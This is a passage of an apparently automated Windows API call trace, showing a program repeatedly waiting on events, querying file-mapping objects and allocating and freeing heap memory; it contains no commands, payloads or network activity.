lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.307] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.307] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.307] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.308] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.308] ResetEvent (hEvent=0xdc) returned 1 [0093.308] SetEvent (hEvent=0xe0) returned 1 [0093.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.310] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.310] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.310] ResetEvent (hEvent=0xdc) returned 1 [0093.310] SetEvent (hEvent=0xe0) returned 1 [0093.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.312] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.312] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.312] ResetEvent (hEvent=0xdc) returned 1 [0093.312] SetEvent (hEvent=0xe0) returned 1 [0093.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.314] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.314] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.314] ResetEvent (hEvent=0xdc) returned 1 [0093.314] SetEvent (hEvent=0xe0) returned 1 [0093.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.314] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.316] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.316] ResetEvent (hEvent=0xdc) returned 1 [0093.316] SetEvent (hEvent=0xe0) returned 1 [0093.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.316] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.318] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.318] ResetEvent (hEvent=0xdc) returned 1 [0093.318] SetEvent (hEvent=0xe0) returned 1 [0093.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.318] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.320] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.320] ResetEvent (hEvent=0xdc) returned 1 [0093.320] SetEvent (hEvent=0xe0) returned 1 [0093.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.320] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.322] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.322] ResetEvent (hEvent=0xdc) returned 1 [0093.322] SetEvent (hEvent=0xe0) returned 1 [0093.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.322] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.340] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.340] ResetEvent (hEvent=0xdc) returned 1 [0093.340] SetEvent (hEvent=0xe0) returned 1 [0093.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.340] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.342] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.342] ResetEvent (hEvent=0xdc) returned 1 [0093.342] SetEvent (hEvent=0xe0) returned 1 [0093.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.343] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.344] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.344] ResetEvent (hEvent=0xdc) returned 1 [0093.344] SetEvent (hEvent=0xe0) returned 1 [0093.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.344] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.346] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.346] ResetEvent (hEvent=0xdc) returned 1 [0093.346] SetEvent (hEvent=0xe0) returned 1 [0093.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.346] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.347] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.347] ResetEvent (hEvent=0xdc) returned 1 [0093.347] SetEvent (hEvent=0xe0) returned 1 [0093.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.348] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.349] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.349] ResetEvent (hEvent=0xdc) returned 1 [0093.349] SetEvent (hEvent=0xe0) returned 1 [0093.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.349] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.351] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.351] ResetEvent (hEvent=0xdc) returned 1 [0093.351] SetEvent (hEvent=0xe0) returned 1 [0093.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.351] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.354] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.354] ResetEvent (hEvent=0xdc) returned 1 [0093.354] SetEvent (hEvent=0xe0) returned 1 [0093.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.354] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.356] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.356] ResetEvent (hEvent=0xdc) returned 1 [0093.356] SetEvent (hEvent=0xe0) returned 1 [0093.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.356] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.358] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.358] ResetEvent (hEvent=0xdc) returned 1 [0093.358] SetEvent (hEvent=0xe0) returned 1 [0093.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.359] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.359] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.359] ResetEvent (hEvent=0xdc) returned 1 [0093.359] SetEvent (hEvent=0xe0) returned 1 [0093.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.361] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.361] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.361] ResetEvent (hEvent=0xdc) returned 1 [0093.361] SetEvent (hEvent=0xe0) returned 1 [0093.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.363] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.363] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.363] ResetEvent (hEvent=0xdc) returned 1 [0093.363] SetEvent (hEvent=0xe0) returned 1 [0093.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.364] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.365] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.365] ResetEvent (hEvent=0xdc) returned 1 [0093.365] SetEvent (hEvent=0xe0) returned 1 [0093.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.366] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.367] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.367] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0093.367] ResetEvent (hEvent=0xdc) returned 1 [0093.367] SetEvent (hEvent=0xe0) returned 1 [0093.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.368] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.368] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.368] ResetEvent (hEvent=0xdc) returned 1 [0093.368] SetEvent (hEvent=0xe0) returned 1 [0093.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.370] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.370] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.370] ResetEvent (hEvent=0xdc) returned 1 [0093.370] SetEvent (hEvent=0xe0) returned 1 [0093.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.372] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.372] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.372] ResetEvent (hEvent=0xdc) returned 1 [0093.372] SetEvent (hEvent=0xe0) returned 1 [0093.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.373] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.374] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.374] ResetEvent (hEvent=0xdc) returned 1 [0093.374] SetEvent (hEvent=0xe0) returned 1 [0093.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.375] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.376] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.376] ResetEvent (hEvent=0xdc) returned 1 [0093.376] SetEvent (hEvent=0xe0) returned 1 [0093.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.377] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.377] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.377] ResetEvent (hEvent=0xdc) returned 1 [0093.377] SetEvent (hEvent=0xe0) returned 1 [0093.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.379] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.379] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.379] ResetEvent (hEvent=0xdc) returned 1 [0093.379] SetEvent (hEvent=0xe0) returned 1 [0093.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.380] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.381] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.381] ResetEvent (hEvent=0xdc) returned 1 [0093.381] SetEvent (hEvent=0xe0) returned 1 [0093.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.381] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.382] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.382] ResetEvent (hEvent=0xdc) returned 1 [0093.382] SetEvent (hEvent=0xe0) returned 1 [0093.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.382] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.383] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.383] ResetEvent (hEvent=0xdc) returned 1 [0093.383] SetEvent (hEvent=0xe0) returned 1 [0093.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.383] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.384] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.384] ResetEvent (hEvent=0xdc) returned 1 [0093.384] SetEvent (hEvent=0xe0) returned 1 [0093.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.384] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.385] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.385] ResetEvent (hEvent=0xdc) returned 1 [0093.385] SetEvent (hEvent=0xe0) returned 1 [0093.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.385] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.386] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.386] ResetEvent (hEvent=0xdc) returned 1 [0093.386] SetEvent (hEvent=0xe0) returned 1 [0093.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.387] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.387] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.387] ResetEvent (hEvent=0xdc) returned 1 [0093.387] SetEvent (hEvent=0xe0) returned 1 [0093.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.388] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.388] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.388] ResetEvent (hEvent=0xdc) returned 1 [0093.388] SetEvent (hEvent=0xe0) returned 1 [0093.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.389] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.389] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.389] ResetEvent (hEvent=0xdc) returned 1 [0093.389] SetEvent (hEvent=0xe0) returned 1 [0093.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.390] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.390] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.390] ResetEvent (hEvent=0xdc) returned 1 [0093.390] SetEvent (hEvent=0xe0) returned 1 [0093.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.391] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.391] NtQueryObject 